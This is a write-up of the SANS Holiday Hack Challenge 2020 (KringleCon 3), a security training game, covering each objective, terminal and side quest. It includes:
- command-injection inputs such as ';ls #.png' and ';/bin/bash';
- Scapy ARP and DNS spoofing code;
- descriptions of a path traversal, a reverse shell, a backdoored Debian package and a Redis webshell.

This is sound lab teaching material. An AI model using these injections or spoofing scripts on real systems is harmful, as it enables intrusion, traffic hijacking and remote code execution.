The SANS Holiday Hack Challenge is back! And with it, the third edition of KringleCon!

This year’s challenges were a good mix of defensive and offensive skills. Topics varied from webapp hacking, crypto, log analysis, binary analysis to improving JS, regex and network skills. There were as well some simulated hardware challenges. The most challenging part was the analysis and recovery of a custom blockchain’s block that was stealthily altered.

KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. This year was as well introduced a Discord channel that was really great to interact with the community.

Who wants to destroy the holiday season this year? Will Santa and his companions be able to stop the villain? I will let you discover it. Here is my write-up for all the challenges of this edition!

A special thanks goes to the whole Counter Hack team for their incredible work! That was a blast!

Prologue

The adventure starts not far from Santa’s new castle. We are welcomed by Jingle Ringford who proposes us a gondola ride to Santa’s castle!

We unlock the first Objective as well as 2 hints to solve it:

Objectives

1 - Uncover Santa’s Gift List

The image on the billboard shows a document on Santa’s desk that has been twirled:

We can un-twirl it with the online tool that was proposed in the hints. We open the image and then start a trial and error exercise using the Filter > Distort > Twirl tool and the Lasso Select tool. The below selection coupled with a 360° twirl did the trick:

We can now board the gondola to meet Santa! This unlocks Objectives 2 to 5 and the first narrative:

At the castle entrance where we are first greeted by Jewel Loggins:

We meet as well Santa’s and the 3 French Hens: Pierre, Marie, and Jean-Claude:

2 - Investigate S3 Bucket

The terminal to investigate the S3 Bucket is next to Shinny Upatree in the Castle Approach area:

We access a terminal where we need to retrieve a file in a lost AWS S3 Bucket:

We find a bucket_finder.rb script in our home folder with a short wordlist file:

This is a Ruby script that can be used to discover unprotected buckets based on a custom wordlist. Its usage is pretty simple:

The default wordlist does not discover anything interesting. Let’s add some more words based on what we know so far:

The same command shows now a hit for wrapper3000 and shows it contains a file called package:

We can download it with:

A folder wrapper3000 is created that contains the package file:

This looks like Base64 encoding. We can decode it with:

By looking at the first letters PK, we recognize the ZIP magic bytes! We can extract its content with:

We get a weird file called: package.txt.Z.xz.xxd.tar.bz2. It seems to have been compressed and manipulated a few times. We can further decompress the file with:

Now we have a .xxd file. xxd is a command that creates a hex dump from a file. If we look at the content of the file, we see it is precisely that and that the first 6 bytes fd37 7a58 5a00 are the signature of the xz compression utility:

We can restore the xz archive and decompress it with:

One last step! We decompress .Z file with the uncompress command and finally read the text file:

The overall process can be done with the following one-liner:

3 - Point-of-Sale Password Recovery

We enter the castle and meet Santa again:

One of the elves seems worried about Santa:

We continue to the Courtyard, through the Dining Room where we meet Jack Frost for the very first time:

He has a cryptic message for us:

Next to him, we find Sugarplum Mary and the Santa Shop:

We can download an offline version of Santa Shop which comes as an installer file santa-shop.exe. As per the hints we got from the Linux Primer challenge, we know it is an Electron application and that the password we are looking for must be stored in an ASAR file.

Electron is an open-source framework that can be used to create cross-platform applications based on JavaScript, HTML, and CSS. An ASAR (Atom Shell Archive Format) file is a TAR-like archive that concatenates files into a single one. Electron can read it without unpacking it. It usually contains all the application files.

Let’s install the application on a Windows 10 box and launch it:

The application is installed by default in the current user profile:

The ASAR file location is:

We can extract the contained files by following this procedure:

1. install Node.js if not already done,
2. from the command line, run npm install -g asar to install the asar package,
3. go to the resources directory: cd C:\Users\<user>\AppData\Local\Programs\santa-shop\resources,
4. create a folder where the files will be extracted: mkdir output,
5. extract the files: asar extract app.asar output.

We get the following files:

The password is found at the top of main.js:

We can now access the (dummy) PoS:

Alternatively, we can get the ASAR file without a Windows box. As the installer is a self-extracting archive:

We can use tools like 7Zip to extract its content:

We get the application uninstaller and a folder $PLUGINSDIR that contains some DLLs and another archive called app-64.7z. We can extract it to get the same files installed on Windows. The ASAR file is still in the resources folder.

4 - Operate the Santavator

The castle elevator seems buggy and needs some repair before we can use it.

Sparkle Redberry gives us some information about it:

We receive the Elevator Service Key and Ginger Breddle adds:

Once in the Santavator, we can access the panel where we see a missing button. We can’t go anywhere at the moment and this is shown by the buttons being all red:

If we open the panel, we see the Items we collected so far and a strange ray of light:

The items we have discovered so far are 2 Hex Nuts, the Broken Candycane and the Green Bulb. If we put the Green Bulb in the ray of light, the ray takes its color. With the help of the other items, we can divert the ray to hit the green bulb socket:

The green power light is now ON, and this gives us access to the Talks floor and the Lobby (where we are) as we can see from the bottom right note. This means that we need to find the Red Bulb to access the Workshop floor and the Roof (NetWars). If we have the 3 bulbs, we can access Santa’s office!

As soon as we access the KringleCon Talks floor, the Objective is validated. We meet then with Bow Ninecandle and again Jack Frost:

5 - Open HID Lock

The HID lock is located in the Workshop on floor 1.5 and in order to access the Workshop, we need to find the Red Bulb and the missing elevator button. After achieving the Speaker UNPrep challenge, we get access to the Speaker UNpreparedness Room where we find the button on the floor. The Red Bulb is found in the Talks Lobby on the floor as well.

We can now head to the Workshop floor. But we need first to activate the green and red power in the Santavator panel. Here is a way to do it:

We unlock the second narrative when we reach the 1.5 floor:

We find the Proxmark3 device that Bushy was mentioning on the floor of the Wrapping Room. This should help in opening the door protected by an HID lock:

Now, we need to find someone who wears a badge so that we can try to clone the signal. Let’s go by all the elves, open the Proxmark3 terminal (from the Items menu), run the command lf hid read or auto and see who is wearing a badge. The following elves respond:

With this information, we get back to the HID lock. To impersonate a card, we can run the command lf hid sim -r <TAG_ID>. We try the TAG IDs one by one and open the door with Bow Ninecandle’s one:

We access a dark room and unlock the rest of the Objectives. We need to find the right path to navigate it and reach the light:

When we enter the light, we unlock the 3rd narrative:

We magically take the control of Santa through the painting offered to him and can now see the world through his eyes!

Seems like we are wearing a different badge now:

It gives us access to a new feature. We can now teleport instantly in any room of the castle:

Let’s talk to some of our dear elves who are all still suspicious about Santa:

Jack Frost still sounds suspicious:

Let’s go back to our own self by taking the hidden exit under the painting in the Castle Entry. Maybe we will need this power again later…

6 - Splunk Challenge

The Splunk terminal is located in the Great Room:

The elf tells us:

When we try to access the terminal we get the message:

This is where Santa’s impersonation comes in. Let’s come back as Santa:

Like in last year’s edition, we access an instance of Splunk Enterprise where we have to answer some training questions that will lead us to finally answer the Objective question: “What is the name of the adversary group that Santa feared would attack KringleCon?”. We get as well some help from Santa’s SOC team through a chat:

This year’s dataset will include simulated attacks based on the MITRE® ATT&CK Matrix for Enterprise. The simulation is done with Splunk Attack Range. Let’s answer the questions.

Alice Bluebird gives us some directions to start:

We can copy/paste Alice’s command into the search field to get the following indexes:

The index names txxxx correspond to the attack technique name. We can easily count that there are 13 main attack techniques simulated. We can as well output this value with:

The rex command is used to extract a string based on a regex and the dc function counts distinct values.

Let’s look up the techniques used:

We can see that from the previous screenshot.

Alice says:

As we listed above, the System Information Discovery technique has the ID T1082. If we take a look at the Atomic Red Team repo, and go to the technique description, we can see the atomic tests that are performed and one of them can be used to retrieve the MachineGuid:

Splunk Attack Range keeps the details of the simulation in the attack index. We just need to search for the OSTAP keyword and take the oldest one. OSTAP is a family of JS malware used in certain attack campaigns as a downloader. We search for:

If we have a look at frgnca Github repository, we see a project called AudioDeviceCmdlets. We saw that the Audio Capture (T1123) technique was used as part of the simulation. If we have a look at this technique in Atomic Red Team repo, we see only 1 atomic test that uses a very specific commandlet:

We can filter the logs with:

We get only 2 logs and the first one has a ProcessId of 3648:

Registry Run Keys are used in the technique T1547.001 and can be used to achieve persistence. We find the usage of a batch file in the 3rd Atomic test of T1547.001. The batch file can be found here.

Zeek is an open-source network analysis framework that we have seen in KringleCon 2. If we start with Alice’s search filter, we see that certificate serials and subjects are indexed fields. If we look at the existing subjects, we see that the top 1 is the Domain Controller we are looking for. We click on it to drill-down:

From the very first log we can get its certificate serial number:

This one does not seem related to Splunk. We need to decrypt Alice’s ciphertext. What we know from the hints is:

• the ciphertext is encoded in Base64 to be “readable”,
• the algorithm used may be RC4 (RFC 7465),
• the key can be found in KringleCon 3 Splunk’s talk and is Santa’s fav phrase.

We get the encryption key at the very end of the Splunk’s talk:

We can use the CyberChef toolkit to decrypt the ciphertext as follows:

We unlock the Narrative 4 of 7:

7 - Solve the Sleigh’s CAN-D-BUS Problem

Santa’s sleigh is located on the Roof and only Santa can access it. So let’s transform again:

We access the CAN-D Bus of the sleigh and see that messages are overflowing even when the sleigh is not in use. When can START the sleigh and see the counter increase:

The goal is to filter out all the bad messages and only keep the valid ones triggered by the buttons and sliders we have on the left side. Let’s first block all the messages that are flowing with the following criteria:

Clicking the START button triggers the message 02A#00FF00 but the sleigh does not accelerate. The STOP button triggers 02A#0000FF. Like in the CAN-Bus Investigation challenge, the LOCK and UNLOCK button triggers respectively 19B#000000000000 and 19B#0000F0000000. Moving the Accelerator, Brake and Steering sliders do not seem to work. This means that they are probably using one of the ID we blocked.

After a few tries, we see that the sleigh speed generates the 244 ID. As soon as we remove the blocking rule, we can again start properly and accelerate. Let’s block only the noisy message 244#0000000000 instead. What we discover is that the message 244 data is the speed in hexadecimal. For instance, 244#00000003E8 indicates that the sleigh moves at 1000 RPM (Reindeer Per Minute).

The Stearing uses the message ID 019 and does not seem to be flooded so we do not need to filter this message at all.

The Brake uses the 080 message ID. Again, we can block the noisy value 080#000000. However, when we start breaking, we see that 2 messages are sent each second. The valid one has the Break value as data in hexadecimal. The malicious ones have a data value lower than zero.

This was not sufficient to make the sleigh work properly again. In the end, after a few other tries, we saw that all the data with zeros were legitimate. We are left with the doors and brake issues to solve. The necessary rules to exclude are:

8 - Broken Tag Generator

Again, only Santa can access this terminal and if we come back as him, Noel says:

We access a webapp that we can use to generate tags. We can play with the app and try all the features while going through a proxy like Burp to analyze each call.

Most of the tag creation is done client-side as well as the Save Tag feature used to download our tag. The client-side app logic is in /js/app.js. The only feature that calls a server endpoint is the upload function. It calls the upload endpoint as follows:

We get the new name of our image as a JSON object in the response:

By doing some tests with the image file we quickly see that we can upload any kind of content as long as the filename ends with png or jpg. If we upload a file with another extension we get the following error:

The error message leaks the path to the server application /app/lib/app.rb, it is a Ruby application and we see as well that our file is first stored in the /tmp folder with a temporary name set by the server.

An endpoint discovery with wfuzz finds 2 additional endpoints:

The clear endpoint doesn’t do much. The image and share endpoints show the same error:

If we try to add the id argument to the image endpoint we get an error 501 with an interesting error:

It looks for a file in the /tmp folder. Actually, we can retrieve the image we uploaded before by using its ID:

Let’s see if we can have a Directory Traversal/Arbitrary File Read vulnerability here by calling a system file:

Great! We can download the server source code as well as we know its path:

At this point, we could already validate the Objective as all we have to do is read the GREETZ environment variable. This can be easily achieved by reading the /proc/self/environ file that contains the environment variables of the current process:

However, let’s still analyze the server source code (full code here). The code of the image endpoint shows why we are able to read the server’s files:

Apparently, Jack disabled the id validation that now allows all special characters.

The upload endpoint, calls the process_file() function where we see that on top of png and jpg files, ZIP archives are as well supported:

In the case of an image, the handle_image() function is called. It generates a random filename and starts a thread that will do a system call to execute convert to resize the image before storing it in the /tmp folder:

The convert binary is called with our filename as argument without being validated! We could potentially execute commands here if we had control over the filename. A file called ';ls #.png would execute ls as follows:

Whatever is after the # will be seen as a comment. But, as we have seen previously, we do not have control over the filename here as the server renames it to a temporary filename after the upload.

The ZIP file handler, however, does not rename the files after extraction:

Again, Jack disabled the filename validation and as the files are not renamed before being stored in the /tmp folder, we have full control over the filenames, and therefore could achieve Remote Command Execution (RCE). As we won’t see the result of our commands, we can output it in a file and then download it. Let’s create the following dummy file to read the output of the env command and then ZIP it:

We upload archive.zip and then download the noob file, which is found in the server’s default working directory /tmp:

Let’s go a step further now and try to have a shell on the server. Some characters like / are not allowed in filenames so we need to be careful with that. We can try a Netcat reverse shell by leveraging ngrok, a free service to tunnel the public traffic to localhost. We simply start it with ngrok tcp 1234 where 1234 is the local port. We get a temporary public endpoint and port to use:

Then our payload will be:

We upload the ZIP…and we get a reverse shell as the user app!!

There is one last vulnerability that we can exploit. The upload feature is vulnerable to Zip Slip. We can craft an evil ZIP file that can add/overwrite any file on the system where the user app can write.

We can now move on to the next objective…Talking again to Noel shows he is happy but has some work to do:

We unlock a new narrative:

9 - ARP Shenanigans

Again, the terminal is only accessible to Santa.

We have access to 3 TMUX terminals to help in this task. One of them shows the following message:

After having completed the Scapy Present Packet Prepper challenge we got some interesting hints to help us achieve this objective. Let’s take them one by one:

Our IP address is 10.6.0.2 and we know from the hints that 10.6.6.35 may have been hit by a malware. When sniffing eth0 we mainly get ARP requests from the 10.6.6.35 that asks who has the 10.6.6.53:

To achieve ARP spoofing, we can use the given script /home/guest/scripts/arp_resp.py. Almost everything is ready, we only need to replace the SOME*HERE and 99999 values to match the protocol and then execute it:

We can have a look at this example to help. Let’s start with line 14. The Ethernet source is our own one that we can get with ifconfig or we can simply re-use the macaddr variable:

For the Ethernet destination, we need to capture the attacker packet with more details. This can be achieved by displaying the ARP table:

Line 14 becomes:

14

ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)

For the ARP reply options (lines 16 to 21):

16
17
18
19
20
21

arp_response = ARP(pdst="4c:24:57:ab:ed:84")        
arp_response.op     = 2      # reply operation    
arp_response.plen   = 4      # protocol size
arp_response.hwlen  = 6      # hardware addresse size
arp_response.ptype  = 0x800  # protocol type IPv4
arp_response.hwtype = 1      # hardware protocol Ethernet

For the source and destinations addresses (lines 23 to 26):

23
24
25
26

arp_response.hwsrc = macaddr             # our Mac address
arp_response.psrc  = "10.6.6.53"         # the spoofed IP address
arp_response.hwdst = "4c:24:57:ab:ed:84" # attacker Mac address
arp_response.pdst  = "10.6.6.35"         # attacker IP address

We launch our modified script while capturing packets:

We see our spoofed ARP reply and the attacker sending a DNS query to our host to resolve the domain ftp.osuosl.org.

We are again helped for the DNS spoofing with the dns_resp.py script that we will need to complete:

The goal is to send a DNS response to the attacker resolving the domain name to our IP address to see what the malware will do next. We can get some help on the DNS protocol from this capture.

First, we need to change the IP address we are spoofing on line 11:

11

ipaddr_we_arp_spoofed = "10.6.6.53"

On lines 16 to 17, we need to set the right Ethernet/IP addresses. We have seen most of the values in the ARP spoofing part:

16
17

eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")
ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)

Regarding the UDP layer on line 18, we need to capture the attacker source port that will be the destination port in the response. As the attacker packet is an argument of the function we can retrieve it with packet[UDP].sport. The source port is the DNS default port:

18

udp = UDP(dport=packet[UDP].sport, sport=53)

Finally, the DNS response will be on lines 19 to 21. We take most of the information from the DNS request:

19
20
21
22
23
24
25
26

dns = DNS(
  id = packet[DNS].id, \  # the DNS query ID
  qd = packet[DNS].qd, \  # the query domain
  aa = 1, \               # authoritative answer
  qr = 1, \               # 0 for a request and 1 for a response
                          # the domain name that resolves on our IP
  an = DNSRR(rrname=packet[DNS].qd.qname, rdata=ipaddr)
)

We can launch, in order, tcpdump -nni eth0, ./dns_resp.py &, that will wait until a DNS query is seen, and ./arp_resp.py. What we see is that after a successful ARP and DNS spoofing, an HTTP call (in green) is done on our host by the attacker:

Let’s start an HTTP listener to see the attacker’s request. This can be quickly done with Python: python3 -m http.server 80:

We have some .deb files available in /home/guest/debs. We can follow the given article to add a Netcat reverse shell to the .deb file.

First, we prepare our working environment, copy the Netcat package that we will use for the reverse shell and rename it as the package that the attacker is fetching:

We extract the package in the work directory:

We retrieve the control file from the package:

We create the postinst script that will trigger the Netcat reverse shell to our host on port 1234:

Then copy those files in the work/DEBIAN folder and build the new backdoored package that we rename with the right name:

Now that the package is ready to be delivered to the attacker, we create the necessary folder tree in /tmp and copy our package there. Then we spawn our HTTP listener from the /tmp folder:

From another terminal pane, we spawn a Netcat listener with nc -lnvp 1234 and yet from the third terminal pane, we launch our two spoofing scripts as we did before. After a few second, we have a hit:

We are on the attacker host with his jfrost account! We find the needed file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt in the root folder. You can read it here.

We unlock the 6th narrative:

10 - Defeat Fingerprint Sensor

First of all, we need to activate the Santa’s Office floor. This is now possible as we found the last bulb and items on the Roof. Here is one possible solution to hit the three sockets with the right color:

We have now access to Santa’s Office…well…almost, as it is protected with a fingerprint:

Our avatar cannot access it…but we can as Santa. However, the goal is to access Santa’s Office without impersonating Santa. How to bypass that?

We can have a look at the Javascript code of the Santavator in app.js. By using the browser’s Developer Tools (see this article). We see that in order to access this floor we need 1) to power the button (what we just did) and 2) get the besanta token that we usually get when we impersonate Santa:

In the console, we can check the tokens we currently have and we are indeed missing the besanta one:

We simply add it to the list by using the JS console and the second check is passed :)

We can now reach Santa’s Office:

Tinsel is not happy though:

11a - Naughty/Nice List with Blockchain Investigation Part 1

This challenge can only be done as Santa.

Tinsel Upatree is waiting for us with a document on our desk:

The tools that we get will help in interacting with the blockchain.dat (the actual _Naughty/Nice _blockchain) we retrieve from Santa’s desk. We can as well have a look at this KringleCon 3 talk.

The naughty_nice.py Python script explains how the blockchain is constructed and how we can interact with it to read or verify blocks.

We can get some basic information on the blockchain as well as the details of the first block with the following code:

The output is:

We see that we have a partial blockchain that starts at index 128449 and ends at index 129996. A total of 1548 blocks. If we verify the blockchain as-is, it will fail as the genesis block (the first block) does not exist:

We have to set the initial previous_hash to the one of the first block we have at our disposal and that we saw earlier:

We can as well dump the embedded documents with the Block.dump_doc(doc_no) method. For the first block it would be:

1

bc.blocks[0].dump_doc(1)

We get the embedded PDF that looks like this:

Elf-on-the-shelf is the reporter and the number that follows is its RID in decimal value. We get to know that Banjamin has the PID 0803508ada0a5ebf.

Now that we have a fairly good understanding of the Naughty/Nice Blockchain structure, let’s answer the objective question.

The nonces are 64-bit values and are generated with the Python random function. What we saw in the Snowball Game, is that random uses the Marsene-Twister (MT19937) algorithm for the PRNG. The standard implementation generates 32-bit random numbers. So how is the Python implementation used to generate 64-bit random numbers?

We can have a look at the random module from the CPython Github repository. Its underlying implementation is done in C and can be found here. From the function _random_Random_getrandbits_impl we understand how random numbers bigger than 32-bit are generated:

So for 64-bit numbers, it will generate two 32-bit numbers and concatenate them! This works for any bit size, if the size is not a multiple of 32, it just drops the least significant bits of the last random number to match the right size. Let’s try it in an interpreter:

This a good news as we can still use the marsene-twister-predictor to predict the next nonces. We just need to extract the nonces from the blockchain, split each of them into two 32-bit numbers and feed them to the predictor. The following code extracts the nonces into nonces.txt:

Now we need to feed the last 624 numbers of the list to mt19937predict so that we can retrieve the future ones. As we have to find the nonce of the block 130000 (which is 4 blocks after the last one), we need to get the next 8 32-bit random numbers and concatenate the last 2 in their hexadecimal form:

We can get the final answer with Python:

1
2

>>> hex(1460036376)[2:]+hex(4079973021)[2:]
'57066318f32f729d'

We can investigate the blockchain a little more and check if there is some block content that differs from others:

We have only one result, the block with ID 129459.

Again, we have only one result, the block with ID 129459.

This block is definitely shady. This elf has the highest possible score, there is some binary data that seems meaningless and the PDF size is the biggest of all the blocks. If we dump the PDF data, we get Jack Frost’s report:

This is probably the block that Tinsel Upatree was mentioning. The block that has been tampered with by Jack Frost to be the nicest person in the world!!

11b - Naughty/Nice List with Blockchain Investigation Part 2

Let’s first confirm that Jack’s altered block is the shady block we found out in the previous Objective. The following code will uncover it based on the SHA256 that we are given:

The only output we get is, again, the block 129459!

So we know that Jack Frost has been able to alter the block and keep the same MD5 hash (collision) by changing only 4 bytes! The very first one seems obvious and is the sign that indicates if the elf is naughty or nice. We can change it from 1 to 0. This makes Jack the naughtiest elf on Earth!

We know from the hints gathered in the Snowball Game that the technique that was used by Jack to generate the collision was UniColl. The technique is described in this Hash Collision Exploitation slide deck (from slide 101 onward) and we can find some additional information here.

Without going into the cryptographic details, the UniColl collision technique characteristics are the following:

• we can choose the prefix and it can be of any size
• blocks are 64 bytes
• the prefix is part of the collision blocks
• given 2 binary blobs with the same MD5 hash, only 2 bytes are different. The first byte difference is +1 and the second byte difference is -1.
• the first byte is the 10th byte of the last block containing the prefix
• the second byte is the 10th byte of the next block

An example of the slide deck shows it more clearly:

Knowing that and by looking at the block data, we start to understand what changes have been done:

As we can see, the weird binary blob is part of the collision blocks and the second byte we have to change is probably in there. Let’s have a look at the collision blocks binary data. We can call the Block.block_data() method and print the first 192 bytes (the size of 3 collision blocks). After some data arrangement, we get:

The 10th byte of the last prefix block corresponds to our naughty/nice flag. So if we change it to 0, we will need to increment the 10th byte of the next block which is 0xd6. Let’s compute the hash after those 2 changes and check that the MD5 has not changed:

We got the first 2 bytes!

Jack Frost has as well tampered with the PDF file to show a fake report instead of the original one made by Shinny Upatree. He must have as well used some trick to get an MD5 collision. Let’s first have a look at the PDF file in a hex editor. We can use HexEd.it:

We see a first Catalog object (with a hidden message for Santa) that references the object 2 that is a Pages dictionary which indicates what are the pages of the document. The Pagesdictionary (in blue) only has 1 page (Count 1) and the page information is in the Kidobject 23.

We see as well another page tree that is not referenced (in green). It has as well only one page referred in Kid object 15. If we change the Catalog reference to object 3 and save this new document, we access what seems the original report on Jack Frost which says the exact opposite of the previous one:

This is the 3rd byte to change then! This looks again like Jack used a UniColl collision. The method to create such PDF is described here and at the end of the slide deck. The structure of such a PDF looks like this:

As per UniColl rules, if we increase the 10th byte of the prefix, we must decrease the 10th byte of the next block (64 bytes after). The Pages reference of our PDF, however, is not aligned to the 10th byte. This means that the prefix takes some additional bytes before the PDF data into account, so do not expect to have matching MD5 hashes when doing those changes with the PDF alone:

Let’s do those changes and verify that the block’s MD5 does not change. Knowing that the second byte is at index 127 of the PDF, we can do the following:

Seems like we have recovered the original block! We compute the SHA-256 hash as follows:

Jack initially added the new block with the correct data about him. However, the block was ready to be altered anytime. The initial PDF was already merged with the evil one and the collision blocks were already part of the documents. He then just needed to wait the right moment to change those 4 bytes without being spotted!

Tinsel does not seem more enthusiast than normal after this big achievement:

Epilogue

Time to go to Santa’s Balcony where Eve Snowshoes is waiting for Santa:

Let’s get back our avatar and come back to Eve. We have to trick again the Santavator as we did in Objective 10. Once in Santa’s Office, Tinsel says:

This time the door to the balcony is wide open. As soon as we enter it we unlock the last narrative:

And poor Jack to say:

Finally, Eve gives us access to some hidden swag!

CranPi Terminals

1 - Kringle Kiosk

He suggests us a document on Command Injection:

After a welcome message we access the kiosk app:

The first menu shows a map of Santa’s castle:

The second menu displays the KringleCon III and Holiday Hack Challenge Code of Conduct and Terms of Use. The third menu shows the location of each elf:

The last menu is the only one that requires user input and seems the best place to try an injection:

If our input is concatenated to a system command without being sanitized first, there are chances that we can inject additional commands. We can, for instance, try to add ;ls to our name:

It worked and it works as well with other special characters like && or |. We can read the welcome.sh script with ;cat welcome.sh. We discover the logic of the script and where the vulnerability lies:

To fix the Command Injection vulnerability, we can enclose the $name variable in double-quotes:

We discover as well a hidden menu plant:

where spot our old friend Jason the Plant :)

We see that most of the outputs come from files that are stored in /opt. Let’s see if there are other hidden gems with ;ls -la /opt:

There are 2 additional files: mailbox.txt and success.txt. Both show ASCII art. Nothing else seems interesting, we can finally escape the kiosk app by calling bash ;/bin/bash:

Back to Shinny who gives us no less than 5 hints to complete Objective 2:

2 - Linux Primer

We get the following message when we launch the terminal:

This challenge will be a list of Linux commands to run in the terminal. Here are the questions and answers:

Once all the tasks are completed, Sugarplum gives us a few hints to complete Objective 3:

3 - Unescape Tmux

The terminal welcomes us with the following message:

We can start by listing the existing sessions with either tmux ls or tmux list-sessions. We get only one existing session:

We can attach to it with tmux attach to get our birdie back:

Now that we solved Pepper’s issue, he gives us a few hints to complete Objective 4:

4 - Speaker UNprep

We unlock the following hints:

Bushy wants us to help him open the door of the Speaker Unpreparedness Room which is password protected. The terminal welcomes us with this message:

Let’s start by running the door binary:

Let’s look at the binary strings with strings door | more. We get pages and pages of strings but we find the password not far from the intro text:

The first goal is completed as we enter this password in the door binary. Next, the lights binary:

If we look at the lights.conf file, we see what seems an encrypted password and a username:

Let’s do some tests in the lab folder where we can play with the config files:

1. if we rename the config file, we get the error ERROR: Could not load /home/elf/lab/lights.conf,
2. if we delete the password configuration, we get: Password is missing from the config file!,
3. if we replace the password with a blank one, we get That would have turned on the lights!. Good! However, we cannot edit the production config file :(

If we talk again to Bushy, he gives us some other hint:

4. if we remove the E$ suffix of the password, the application treats it as a clear-text password.

Seems like the app decrypts all the configuration that starts with E$. What if we set an encrypted name? As the app displays the username, what if we set the password value as the name?

It got decrypted! We run the production binary and enter the password to light on the Speaker Unpreparedness Room. Then Bushy adds:

The ./vending_machines binary asks as well for a password. The configuration file looks like this:

Let’s play again with the lab version. If we delete the configuration file, we are asked to recreate it and to set our own username and password:

The password is encrypted and stored in the configuration file:

We see a pattern in the ciphertext. It looks like polyalphabetic encryption with a key long 8 characters (the A is encrypted as X every 8 chars). For BBBBBBBB we get DqTpKv7f. If we do that for all the alphabet in use [A-Za-z], we get the following lookup table:

The first letter (row) of the cipher-text L corresponds to the letter C of the plaintext (column). The second letter is V -> a…and so on. This gives us the password CandyCane1 with which we can activate the vending machine! The last words of Bushy are:

We unlock the hints to complete Objective 5:

5 - CAN-Bus Investigation

We are asked to filter data in a file dump and find when the UNLOCK command was triggered:

The dump candump.log shows uncomprehensible information:

By watching Chris Elgee’s talk, we understand what a CAN Bus actually is. What we see in the last column of the dump is a CAN message that is composed of a CAN ID (3 chars) which represents a car component or action (i.e lock, brake, accelerate, etc.) followed by a data chunk that can indicate, for instance, if a lock opens/closes, or the value of the acceleration/deceleration, etc. The ID and the data are separated by the delimiter #.

As per the instructions, we know that the door lock CAN ID must be present 3 times only, 2 LOCK and 1 UNLOCK message. Let’s first count the number of unique CAN ID:

So it seems that the ID 19B is our candidate! If we filter them, we get:

We can now send our answer to validate the challenge:

Wunorse seems still worried though:

We get a hint to complete Objective 7:

6 - Redis Bug Hunt

The terminal shows the following instructions:

Let’s curl the page and see what happens:

We can run commands through the cmd variable. If we try the help command:

We see that our command is used as argument to redis-cli to show the Redis help. Let’s try the info command to show some server information:

As explained by Holly, we may exploit an RCE vulnerability in Redis. We can follow this procedure to write a PHP file in the web files and execute system calls. Spaces in commands must be replaced by commas. 

In our case, the web files are located in /var/www/html, so to change Redis working directory, we have to execute:

Then we set the file in which we want to write as the current database (here we create a new file rce.php):

We create a dummy value test containing what we want to write into the database file. As the goal is to read index.php, we can use the PHP system call to display it. Do not forget to URL-encode special characters:

Finally, we dump the Redis buffer containing our test value into our rce.php file with the save command:

Now we can curl our new PHP file to see the content of the index.php file and validate the challenge:

Holly gives us some hints to complete Objective 8:

7 - Scapy Prepper

This is a challenge around Scapy. Scapy is a Python program and library used to manipulate, sniff and dissect network packets. We will go through a few questions that will lead us through the basic usage of Scapy:

We can list all TCP info in all the packets with:

We see some packets with Raw data. The 7th packet contains a password:

By running the recommended command, we see that this is an FTP flow:

Let’s look at the second packet:

The errors are:

• hwsrc and hwdst are set to ff:ff:ff:ff:ff:ff and should be set to the Ethernet src and dst value,
• the op value is set to None and should instead be set to ‘reply’ that has a value of 2.

We can easily escape the Python interpreter by running:

We talk again to Alabaster so that he gives us some hints to complete Objective 9:

Side Quests

The 33.6kbps Modem

Fitzy is waiting for us in the kitchen and has some issues with an old modem:

When we access the modem, we have to take the handset, compose the phone number we were given and then manually do the handshake based on the “well-known” dial-up modem sounds that old people, like me, still dream of :) You can see the solution below:

Once completed, Fitzy says:

If we do it a few more times, we can change the color scheme of the Christmas tree behind.

The Sort-O-Matic

We find Minty in the Workshop, he is struggling with a present sorting machine:

This challenge can as well be done on https://present-sorter.kringlecastle.com/.

We basically have to find the 8 regexes below in order to repair the Present Sort-O-Matic:

The solutions are:

We passed the challenge and now all presents are sorted correctly:

Minty gives us some hints to complete Objective 6:

The Elf C0de

A fun game awaits us in the Dining Room:

The following hints are given by the elf:

This challenge is a Javascript primer and can be as well accessed through https://elfcode.kringlecastle.com:

There are many levels and the goal of each level is always to program our elf to grab all the lollipops and reach the castle entrance by avoiding all the dangers on the map. The Object Help menu on the left as well as the How To Play The Elf C0de are good places to start.

It starts easy and we have 2 different solutions to move the elf:

1
2

elf.moveLeft(10)
elf.moveUp(10)

or

1
2

elf.moveTo(lollipop[0])
elf.moveUp(10)

The lever #0 objective is to add 2 to the returned numeric value of running the function elf.get_lever(0). We can submit the solution using elf.pull_lever(answer) while standing on the lever grid square. The solution is:

1
2
3
4
5

elf.moveTo(lever[0])
var sum = elf.get_lever(0) + 2
elf.pull_lever(sum)
elf.moveLeft(4)       // elf.moveTo(lollipop[0]) does not work here
elf.moveUp(10)

We can think of 2 different solutions here as well, one of them introducing loops:

1
2
3
4

elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)

or

1
2
3
4

for (var i = 0; i < 3; i++) {
 elf.moveTo(lollipop[i])
}
elf.moveUp(1)

Here, we can loop 5 times, by alternating up and down directions, to guide the elf through the labyrinth:

1
2
3
4

for (var i = 0; i <= 5; i++) {
  elf.moveLeft(3)
  i % 2 == 0 ? elf.moveUp(11) : elf.moveDown(11)
}

The munchkin #0 objective is to use elf.ask_munch(0) to get an array of numbers and strings and to return the array with only the number with elf.tell_munch(answer).

Solution:

1
2
3
4
5

var arr = elf.ask_munch(0)
arr = arr.filter(e => typeof e !== 'string')
elf.moveTo(lollipop[0])    // will retrieve both lollipops!
elf.tell_munch(arr)
elf.moveUp(2)

There are 2 possible paths here. The first one involves pulling the lever to make the Munchkin fall. The other one involves answering the Munchkin question to let us pass. For both solutions, we can easily get out of the labyrinth by only using elf.moveTo(object) calls.

The lever #0 objective is to get an array and add the string munchkin rule as the first element. 

The munchkin #0 objective is to get a JSON object and we must return the key with a value of lollipop.

Solution 1 (with lever):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

for (var i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveTo(lever[0])
var arr = elf.get_lever(0)
arr.unshift("munchkins rule")
elf.pull_lever(arr)
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(2)

Solution 2 (with Munchkin):

1
2
3
4
5
6
7
8
9

var json = elf.ask_munch(0)
var answer = Object.keys(json).find(key => json[key] === "lollipop")
for (var i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveLeft(8)
elf.moveUp(2)
elf.tell_munch(answer)
elf.moveUp(2)

